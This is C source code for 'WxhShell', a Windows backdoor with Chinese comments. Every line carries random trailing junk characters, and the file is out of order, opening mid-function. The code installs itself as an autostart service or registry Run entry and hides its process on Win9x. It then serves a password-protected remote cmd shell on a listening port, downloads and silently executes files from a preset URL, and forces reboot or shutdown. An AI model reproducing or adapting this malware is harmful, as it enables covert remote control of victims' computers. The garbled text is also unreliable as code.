    closesocket(wsh); hoQs @[  
    ExitThread(0); )//I'V  
    } _U{zMVr  
    break; W D T]!  
    } z I+\Oll#Q  
  // 获取shell H ,+? t  
  case 's': { xdf82)  
    CmdShell(wsh); NzU,va N  
    closesocket(wsh); RRGWC$>?  
    ExitThread(0); FBpH21|/y  
    break; Tszp3,]f  
  } 34wkzu  
  // 退出 {dL?rQ>5L  
  case 'x': { 94 e): jS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;x:rZV/  
    CloseIt(wsh); ;=<-5;rI  
    break; [@Q_(LQ-U  
    } - /(s#D  
  // 离开 /v/C<]  
  case 'q': { H"C[&r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {}QB|IH`  
    closesocket(wsh); H}H7lO  
    WSACleanup(); N nk@h  
    exit(1); mcn 2Wt  
    break;  ~BDu$  
        } nPs7c %  
  } /F4pb]U!*  
  } D K=cVpN%s  
BCe|is0  
  // 提示信息 &Ch#-CUE/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jL^](J>  
} UN%Vg:=  
  } ^S)cjH`P  
t=u  Qb=  
  return; ?gPKcjgoH!  
} Q}!mx7b0]  
$uap8nN  
// shell模块句柄 5*E#*H  
int CmdShell(SOCKET sock) \MK*by  
{ 6gT5O]]#o  
STARTUPINFO si; Pl<; [cB  
ZeroMemory(&si,sizeof(si)); V^hE}`>z&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZVbl88,(l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e]T`ot#/  
PROCESS_INFORMATION ProcessInfo; C=s1R;"H  
char cmdline[]="cmd"; zfc3)7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f]G>(V=i  
  return 0; !^v5-xO?rP  
} \=0V uz  
<`jLY)sw  
// 自身启动模式 #[e  
int StartFromService(void) V\})3i8  
{ 0]D{Va  
typedef struct bJYda)  
{ P ~#>H{  
  DWORD ExitStatus; LY[~Os W  
  DWORD PebBaseAddress; xGU(n _Y  
  DWORD AffinityMask; quvanx V-L  
  DWORD BasePriority; Up:<=Kgci  
  ULONG UniqueProcessId; Gcb|W&  
  ULONG InheritedFromUniqueProcessId; H*bs31i{  
}   PROCESS_BASIC_INFORMATION; ALEnI@0  
?d4m!HgR   
PROCNTQSIP NtQueryInformationProcess; UjOB98Du  
}?&k a$rI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  Y!WG)u5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,R$u?c0>'&  
<H0R&l\  
  HANDLE             hProcess; :>aQ~1f>]  
  PROCESS_BASIC_INFORMATION pbi; #-8\JEn  
MwfOy@|N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '{ [5M!B  
  if(NULL == hInst ) return 0; w~#nYM=fP!  
-tnQCwq#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BW"&6t#kA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d/}SAvtt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); etd&..]J  
*26334B.R  
  if (!NtQueryInformationProcess) return 0; 0W3i()  
>(y<0   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gtYAHi  
  if(!hProcess) return 0; a6:x"Tv  
7@6g<"I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'kYwz;gp  
.i^7|o:  
  CloseHandle(hProcess); X*Z8CM_  
gr-fXZO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); it> r+%  
if(hProcess==NULL) return 0; I+ es8  
xr7+$:>a  
HMODULE hMod; <" @zn  
char procName[255]; vsL[*OeI  
unsigned long cbNeeded; ?88`fJ@tk?  
0<PR+Iv*i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }<z_Q_b+e  
q %0Cg=  
  CloseHandle(hProcess); @:tj<\G]  
Iyd?|f"  
if(strstr(procName,"services")) return 1; // 以服务启动 .XkMk|t8  
lQfL3`X!  
  return 0; // 注册表启动 .>wv\i [p  
} saU]`w_Z*  
OEPa|rb  
// 主模块 -k(CJ5H9  
int StartWxhshell(LPSTR lpCmdLine) sz-- 27es  
{ +fx8muz:y  
  SOCKET wsl; }Z TGi,P c  
BOOL val=TRUE; Fkf97Oi  
  int port=0; BYY RoE[P  
  struct sockaddr_in door; : L_BG)dM  
pxSX#S6I  
  if(wscfg.ws_autoins) Install(); _/S?#   
K^rIG6  
port=atoi(lpCmdLine); -dv %H{  
AH4EtZC=W  
if(port<=0) port=wscfg.ws_port; -`f04_@>d  
_U{([M>;  
  WSADATA data; #{9G sD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |!q$_at  
kAM1TWbaVQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'a^{=+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pG^}Xf2a  
  door.sin_family = AF_INET; >K# ,cxY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =`Y.=RL+'n  
  door.sin_port = htons(port); [TF8'jI0  
^uS/r#l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OG3/-K8R  
closesocket(wsl); b dJ+@r  
return 1; E42eOGp9i  
} @<M*qK1h  
B/Gd(S`@q  
  if(listen(wsl,2) == INVALID_SOCKET) { -[OXSaf6  
closesocket(wsl); Omi^>c4G  
return 1; ?EU\}N J  
} N~pIC2Woo  
  Wxhshell(wsl); r}u%#G+K,  
  WSACleanup(); I _i6-<c.Q  
xsjO)))f  
return 0; pPVRsXy  
s cdtWA  
} 7([h4bg{  
+Z!;P Z6  
// 以NT服务方式启动 =2y8 CgLj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \n9A^v`F/  
{ F8e<}v&7R  
DWORD   status = 0; i#X!#vyc  
  DWORD   specificError = 0xfffffff; fag^7rz  
7n)&FX K`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uhV0J97  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XYx 6V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bXYA5wG  
  serviceStatus.dwWin32ExitCode     = 0; h{ lDxOH*  
  serviceStatus.dwServiceSpecificExitCode = 0; 44\>gI<  
  serviceStatus.dwCheckPoint       = 0; AGYm';z3  
  serviceStatus.dwWaitHint       = 0; m}$+Hdk+7  
IMQ]1uq0$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1\dn 1Hh  
  if (hServiceStatusHandle==0) return; 4gdY`}8b^}  
/w]&t\]*  
status = GetLastError(); k:A|'NK~  
  if (status!=NO_ERROR) "0jJh^vk  
{ FVF-:C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8*g ^o\M  
    serviceStatus.dwCheckPoint       = 0; t ]c{c#N/  
    serviceStatus.dwWaitHint       = 0; Io2mWvu?5  
    serviceStatus.dwWin32ExitCode     = status; E?PGu!&u  
    serviceStatus.dwServiceSpecificExitCode = specificError;  .Qt4&B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PiLJZBUv  
    return; OMihXt[  
  } Uz%Z&K  
$R8w+ Id  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^TXfsQs  
  serviceStatus.dwCheckPoint       = 0; -Uo?WXP]B'  
  serviceStatus.dwWaitHint       = 0; o@lWBfB*%e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1u]P4Gf=  
} p4VqV6LwD  
LF*Q!  
// 处理NT服务事件,比如:启动、停止 |0bc$ZY:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2aw&F Z?  
{ Bb Jkdt7  
switch(fdwControl) v| z08\a[  
{ %K 4  
case SERVICE_CONTROL_STOP: 2 Tvvq(?T  
  serviceStatus.dwWin32ExitCode = 0; h5|.Et  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TrE3S'EU#R  
  serviceStatus.dwCheckPoint   = 0; h3u1K>R)  
  serviceStatus.dwWaitHint     = 0; =lr)gj  
  { K.>wQA&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @?B6aD|jE  
  } yno('1B@  
  return; E@QA".  
case SERVICE_CONTROL_PAUSE: |bZM/U=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m.%`4L^`T  
  break; Aq#/2t  
case SERVICE_CONTROL_CONTINUE: #y"=Cz=1u7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,*,sw:=2  
  break; `?s.\Dh  
case SERVICE_CONTROL_INTERROGATE: }GHxG9!z  
  break; US?Rr  
}; ~el-*=<m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _JGs}aQ  
} ro| vh\y  
1 H4fJ3-  
// 标准应用程序主函数 NVIWWX9?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ruh)^g  
{ pe04#zQK  
S;@ay/*~  
// 获取操作系统版本 ]j.k?P$U}  
OsIsNt=GetOsVer(); 0=U70nKr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S0@T0y#  
LZ~`29qw(  
  // 从命令行安装 ~o15#Pfn/  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^nDal':*  
>w'$1tc?+F  
  // 下载执行文件 s_wUM)!  
if(wscfg.ws_downexe) { J?712=9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2P~)I)3V  
  WinExec(wscfg.ws_filenam,SW_HIDE); A! 6r/   
} )3E,D~1e%  
cwtD@KC[B  
if(!OsIsNt) { g@nk.aRw  
// 如果时win9x,隐藏进程并且设置为注册表启动 3 (lVmfk  
HideProc(); W"(u^}  
StartWxhshell(lpCmdLine); y8s=\`~PR  
} c{88m/;eP  
else d!{7r7ob\  
  if(StartFromService()) :\}U9QfCw  
  // 以服务方式启动 #1Z7&#R/  
  StartServiceCtrlDispatcher(DispatchTable); -l*A  
else \aSz2lxEHn  
  // 普通方式启动 Dm{Ok#@r2  
  StartWxhshell(lpCmdLine); T |"`8mG  
r?p{L F  
return 0; juno.$ 6  
} 3o8\/-*<  
Y)p4]>lT+8  
Gbb \h  
INNAYQ  
=========================================== f]_mzF=&  
w7Dt1axB  
(r F?If  
d /j@_3'  
5:gj&jt;)7  
QUP|FIpZ  
" _PB@kH#  
h`?k.{})M  
#include <stdio.h> !$kR ;Q"/  
#include <string.h> jXcNAl  
#include <windows.h> Ph)| j&]  
#include <winsock2.h> 6v47 QW|'  
#include <winsvc.h> O-GxUHwW r  
#include <urlmon.h> %Y',|+Arx  
z}APR@?`n8  
#pragma comment (lib, "Ws2_32.lib") P/ aDd@j  
#pragma comment (lib, "urlmon.lib") t.=Oj  
5+L8\V9;  
#define MAX_USER   100 // 最大客户端连接数 :('I)C  
#define BUF_SOCK   200 // sock buffer GXeAe}T  
#define KEY_BUFF   255 // 输入 buffer ba&o;BLUy  
BlaJl[Piv  
#define REBOOT     0   // 重启 B7 c[ 4  
#define SHUTDOWN   1   // 关机 .Ty,_3+{#p  
Vipp /WV  
#define DEF_PORT   5000 // 监听端口 ~%P3Pp  
e[4V%h  
#define REG_LEN     16   // 注册表键长度 8-A|C< "  
#define SVC_LEN     80   // NT服务名长度 T&/_e   
nLd~2qBuv  
// 从dll定义API pG28M]\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S:Xs '0K_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3j&B(aLy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uC[d%v`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YN^jm  
oFyeH )!  
// wxhshell配置信息 P`2&*2,  
struct WSCFG { >EBC 2WJ  
  int ws_port;         // 监听端口 K -E`y  
  char ws_passstr[REG_LEN]; // 口令 DB8s  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1f;or_f#k?  
  char ws_regname[REG_LEN]; // 注册表键名 UPO^V:.R4  
  char ws_svcname[REG_LEN]; // 服务名 ysth{[<5F3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5&(3A|P2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2FT-}w0;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AfE%a-;:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b7v dk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B(Y.`L? %E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0BXs&i-TP5  
?pKN'`  
}; Mdm0g  
>)sqh ~P  
// default Wxhshell configuration |8'B/ p=  
struct WSCFG wscfg={DEF_PORT, s!`H  
    "xuhuanlingzhe", T9y768%  
    1, uN(b.5y  
    "Wxhshell", L]>4Nd  
    "Wxhshell", xN "wF-s4?  
            "WxhShell Service", *[ #*n n  
    "Wrsky Windows CmdShell Service", ^Y<M~K972  
    "Please Input Your Password: ", ?%;B`2 nDR  
  1, L5C2ng>  
  "http://www.wrsky.com/wxhshell.exe", T^NJ4L4#  
  "Wxhshell.exe" @#CF".fuN>  
    }; bqNLkw#  
%O_t`wz  
// 消息定义模块 &%:*\_2s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _/ Tlqzp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 25&nwz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w>vmF cp  
char *msg_ws_ext="\n\rExit."; fO+U HSC  
char *msg_ws_end="\n\rQuit."; N1s.3`  
char *msg_ws_boot="\n\rReboot..."; u#!GMZJN  
char *msg_ws_poff="\n\rShutdown..."; H9:%6sds  
char *msg_ws_down="\n\rSave to "; 8>d q=0:  
qxSs ~Qc  
char *msg_ws_err="\n\rErr!"; '2xcce#  
char *msg_ws_ok="\n\rOK!"; wzbz }P>  
_f66>a<  
char ExeFile[MAX_PATH]; a+'}XEhSC:  
int nUser = 0; R( GmU4  
HANDLE handles[MAX_USER]; O&=KlnI:  
int OsIsNt; FdM<;}6T  
g~|y$T  
SERVICE_STATUS       serviceStatus; ? KF=W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;,v.(Z ic  
^f6 {0  
// 函数声明 H.9yT\f.  
int Install(void); }M?|,N6  
int Uninstall(void); {YBl:rMz  
int DownloadFile(char *sURL, SOCKET wsh); 'DeW<Sa~  
int Boot(int flag); a>?p.!BM  
void HideProc(void); LhZZc`|7t  
int GetOsVer(void); -B,cB  
int Wxhshell(SOCKET wsl); ZGzc"r(r:#  
void TalkWithClient(void *cs); d[" x= [f  
int CmdShell(SOCKET sock); 3Cd<p[%3#,  
int StartFromService(void); [xWEf#', !  
int StartWxhshell(LPSTR lpCmdLine); i#tbdx#  
J$#D:KaU:N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qKA_ A%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); niQ+EAD  
i<bxc  
// 数据结构和表定义 5U3qr*/;m  
SERVICE_TABLE_ENTRY DispatchTable[] = J+0/ :00(  
{ )FV6,  
{wscfg.ws_svcname, NTServiceMain}, 1O23"o5=  
{NULL, NULL} sl%#u9r=  
}; zF=#6  
+*: }p  
// 自我安装 S;>4i!Mb ^  
int Install(void) C)U #T)  
{ A3<^ U  
  char svExeFile[MAX_PATH]; Xn PJC'  
  HKEY key; ~ t"n%SgY  
  strcpy(svExeFile,ExeFile); '1Y<RD>x  
T<XfZZ)l<`  
// 如果是win9x系统,修改注册表设为自启动 8F\~Wz7K  
if(!OsIsNt) { m'3OGvd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [#7D~Lx/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F68},N>vr@  
  RegCloseKey(key); i]LU4y %'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XNKtL]U}$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g(KK9Unu  
  RegCloseKey(key); n}VbdxlN  
  return 0; %-\FVKX  
    } Y' 2-yB  
  } loR,XW7z  
} )CFk`57U  
else { +jv }\Jt  
G2=F8kL  
// 如果是NT以上系统,安装为系统服务 D 8gQR Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?U}sQ;c$  
if (schSCManager!=0) vwm|I7/w  
{ y9=t;qH@|  
  SC_HANDLE schService = CreateService .zQ4/  
  ( ; A x=]Q  
  schSCManager, )\RzE[Cb  
  wscfg.ws_svcname, ix(U:'{  
  wscfg.ws_svcdisp, =kwb` Z/a  
  SERVICE_ALL_ACCESS, 7Y%!,ff  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3L?WTS6(u  
  SERVICE_AUTO_START, H U:1f)a a  
  SERVICE_ERROR_NORMAL, '_k>*trV  
  svExeFile, wEZ,49  
  NULL, >-UD]?>  
  NULL, BvSdp6z9Iv  
  NULL, \)uy"+ Z`  
  NULL, 7E;>E9 '  
  NULL $,}Qf0(S  
  ); mgk64}K[n  
  if (schService!=0) +[>y O _}  
  { #8S [z5 `  
  CloseServiceHandle(schService); A1mYkG)l  
  CloseServiceHandle(schSCManager); f&=K]:WDe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @gs26jX~2}  
  strcat(svExeFile,wscfg.ws_svcname); 37J\i ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0Ddn@!J*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u4go*#  
  RegCloseKey(key); JqL<$mSep  
  return 0; ]lymY _ >  
    } &uv>'S#%  
  } :yd=No@  
  CloseServiceHandle(schSCManager); 5wT' ,U"+  
} l0eANB%Y=@  
} b$;HI7)/K  
j7QBU  
return 1; ;%v%K+}r  
} 9vB9k@9  
sx<} tbG  
// 自我卸载 H4P\hOK7r  
int Uninstall(void) z:d Xc  
{ }K#iCby4  
  HKEY key; 9m%7dsv  
e@='Q H  
if(!OsIsNt) { Z}]:x `fXd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pA*D/P-  
  RegDeleteValue(key,wscfg.ws_regname); zfk'>_'  
  RegCloseKey(key); =4YbVA+(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j:3A;r\  
  RegDeleteValue(key,wscfg.ws_regname); ]$*$0  
  RegCloseKey(key); OI)&vQ5k  
  return 0; Q3 K;kS  
  } k/$Ja;  
} z4 4  
} oA(. vr  
else { ]s1TJw [B  
:7HVBH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Da >{zHt  
if (schSCManager!=0) '?&B5C  
{ 'e+-,CGdY\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {LR#(q$1  
  if (schService!=0) daaga}]d  
  { U)&H.^@r$  
  if(DeleteService(schService)!=0) { $M:4\E5(  
  CloseServiceHandle(schService); [V!^\g\6  
  CloseServiceHandle(schSCManager); )_Z]=5Ds  
  return 0; BsoFQw4$9  
  } Y2RxD\!Z  
  CloseServiceHandle(schService); 'DaNR`9  
  } m]+X }|  
  CloseServiceHandle(schSCManager);  9'L1KQ  
} ;g;,%jdCS  
} 31 KDeFg  
yb@X*PW/z  
return 1; N[|by}@n  
} VWnu#_(  
8eg2o$k_,#  
// 从指定url下载文件 F9>(W#aC  
int DownloadFile(char *sURL, SOCKET wsh) 17MN8SfQ  
{ )W_ Y3M,  
  HRESULT hr; ,*9#c*'S  
char seps[]= "/"; =RCfibT!C  
char *token; ; /6:lL  
char *file; {,nd_3"Vq  
char myURL[MAX_PATH]; "6|'& 6&  
char myFILE[MAX_PATH]; ONg<  
oT9XJwqnv  
strcpy(myURL,sURL); C9"f6>i  
  token=strtok(myURL,seps); UgOGBj,&5W  
  while(token!=NULL) pn ~/!y  
  { HQ-N!pf9  
    file=token;  RU3_Fso  
  token=strtok(NULL,seps); "GIg| 3  
  } [4V|UvKz  
bi4^ zaCEE  
GetCurrentDirectory(MAX_PATH,myFILE); ijR-?nrR  
strcat(myFILE, "\\"); ss|6_H =  
strcat(myFILE, file); zD#+[XI]K  
  send(wsh,myFILE,strlen(myFILE),0); XY$cx~  
send(wsh,"...",3,0); =6"hj,[Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ynOc~TN  
  if(hr==S_OK) $w2[5|^S  
return 0; #U6/@l)  
else YV2pERl  
return 1; _S%OX_UMn^  
v]d?6g  
} gvwCoCbb  
Z;dwn~Tw  
// 系统电源模块 u:{. Hn`  
int Boot(int flag) 5BGv^Qb_2  
{ Q>+_W2~]  
  HANDLE hToken; $yxIE}  
  TOKEN_PRIVILEGES tkp; v~W6yjp  
p lz=G}Y  
  if(OsIsNt) { }gi`?58J6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sV Z}nq{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I{X@<o}  
    tkp.PrivilegeCount = 1; \C'I l w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 16d{IGMz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JqH.QnKcv  
if(flag==REBOOT) { '&o> %V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]>]H:NEq  
  return 0; ;Vtpq3  
} S+E3;' H  
else { %CfTqbB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _tg3%X]  
  return 0; k?@W/}Iv9  
} a}+ _Yo(Q  
  } zfT'!kb,(  
  else { qkyX*_}  
if(flag==REBOOT) { EZNB`gO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8)Bn?6.  
  return 0; s#8{:ko  
} s\K-(`j}  
else { 4tN~UMw?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "MVN /Gl  
  return 0; DQHGq_unP  
} EWvid4QEi  
} tI(t%~>^  
)F9V=PJE  
return 1; n*]x02:LjZ  
} S3[oA&  
^c:eXoU  
// win9x进程隐藏模块 =F; ^^VX  
void HideProc(void) I[YfF  
{ HoQ(1e$G-  
9R<J$e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9cHNwgD>v  
  if ( hKernel != NULL ) 1,sO =p)Yg  
  { <H(AS'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z_TbM^N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I5AjEp  
    FreeLibrary(hKernel); A 5\"e^>  
  } yyYbB]D  
Hwi7oXP  
return; :y)&kJpleP  
} c[e GpZ]  
3_['[}  
// 获取操作系统版本 OjL"0imN6  
int GetOsVer(void) r4qV}-E  
{ >!WBl Sy  
  OSVERSIONINFO winfo; u K&_IE}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z K]%qv]  
  GetVersionEx(&winfo); z j0pP{y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T"jDq1C/,E  
  return 1; SOY#, Zu  
  else )e$-B]>7z  
  return 0; ?@7|Q/  
} 2tTV5,(1  
TEy.zzt  
// 客户端句柄模块 dJgOfg^  
int Wxhshell(SOCKET wsl) i_9/!D  
{ h3 ZL0Fi*  
  SOCKET wsh; 9U%}"uE  
  struct sockaddr_in client; -cC(d$y  
  DWORD myID; I.0Usa"z  
HGMH g  
  while(nUser<MAX_USER) {.[,ee-)9  
{ &Fr68HNmj  
  int nSize=sizeof(client); $zH 0$aOx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -"b3q  
  if(wsh==INVALID_SOCKET) return 1; F973U  
G\+MT(&5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >TVd*S  
if(handles[nUser]==0) :re(khZq#  
  closesocket(wsh); @g` ,'r  
else `RLrT3 4  
  nUser++; k:yu2dQh  
  } ]t0S_ UH$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6>^k9cJp  
b-gVRf#F  
  return 0; YuuG:Kk  
} i2c<q0u  
|I<-x)joIK  
// 关闭 socket \X p"I5  
void CloseIt(SOCKET wsh) y.NArN|%  
{ YR`rg;n#  
closesocket(wsh); `^Sq>R!;  
nUser--; soCHwiE  
ExitThread(0); =5#Jsn?U  
} xJ.!Q)[  
q/G5aO*  
// 客户端请求句柄 CzbNG^+  
void TalkWithClient(void *cs) +u)$o  
{ PA[Rhoit,  
s&hP^tKT  
  SOCKET wsh=(SOCKET)cs; `h]f(  
  char pwd[SVC_LEN]; JQ4>S<ttJ  
  char cmd[KEY_BUFF]; +`[Sv%v&L  
char chr[1]; P.P>@@+d  
int i,j; oVgNG!/c0  
}# ^Pb M  
  while (nUser < MAX_USER) { kV<)>Gs  
)SLs  [  
if(wscfg.ws_passstr) { a VMFjkW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \5_^P{p7<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (LPc\\Vv  
  //ZeroMemory(pwd,KEY_BUFF); 4(gf!U  
      i=0; _QCI< |A  
  while(i<SVC_LEN) { (`*wiu+i  
0_.hU^fP  
  // 设置超时 t fQq3#  
  fd_set FdRead; |`/uS;O  
  struct timeval TimeOut; m^+ ~pC5  
  FD_ZERO(&FdRead); YtQWArX,  
  FD_SET(wsh,&FdRead); ?V)6`St#C  
  TimeOut.tv_sec=8; k,(_R=  
  TimeOut.tv_usec=0; 2"^9t1C2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k"c_x*f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F4{<;4N0  
&d;$k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y?hW#l~#X  
  pwd=chr[0]; {HDlv[O%  
  if(chr[0]==0xd || chr[0]==0xa) { z#/*LP#oY  
  pwd=0; C_)>VPD  
  break; iB-s*b<`~  
  }  K>eG5tt  
  i++; 1=.?KAXR  
    } K@lV P!z  
>$F]Ss)$  
  // 如果是非法用户,关闭 socket [J Xrj{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9m!fW|4  
} B/}>UHM  
9\2&6H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .@V>p6MV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B:.rp.1   
a QFHB!  
while(1) { z`SkKn0f Y  
j&5Xjl>4  
  ZeroMemory(cmd,KEY_BUFF); :Yqa[._AF  
_Ohq'ZgXm  
      // 自动支持客户端 telnet标准   r1] e:  
  j=0; 2T9Z{v  
  while(j<KEY_BUFF) { vS#]RW&j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RJD3o_("K  
  cmd[j]=chr[0]; 7a net  
  if(chr[0]==0xa || chr[0]==0xd) { E .5xzY  
  cmd[j]=0; <rs]@J'p  
  break; ks$G6WC  
  } P $S P4F  
  j++; IF1}}[Ht  
    } k"$V O+}m  
tAUMSr|?  
  // 下载文件 nc)`ISI  
  if(strstr(cmd,"http://")) { H_^c K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7O#>N}|  
  if(DownloadFile(cmd,wsh)) W{d/m;<@N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1\uS~RR  
  else ' iK0Wr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uip]K{/A!e  
  } '>BHwc  
  else { |*i-Q @ D  
jC%I]#!n  
    switch(cmd[0]) { h>?OWI  
  kTV D 4Z=  
  // 帮助 zAewE@N#_  
  case '?': { p20Nk$.  
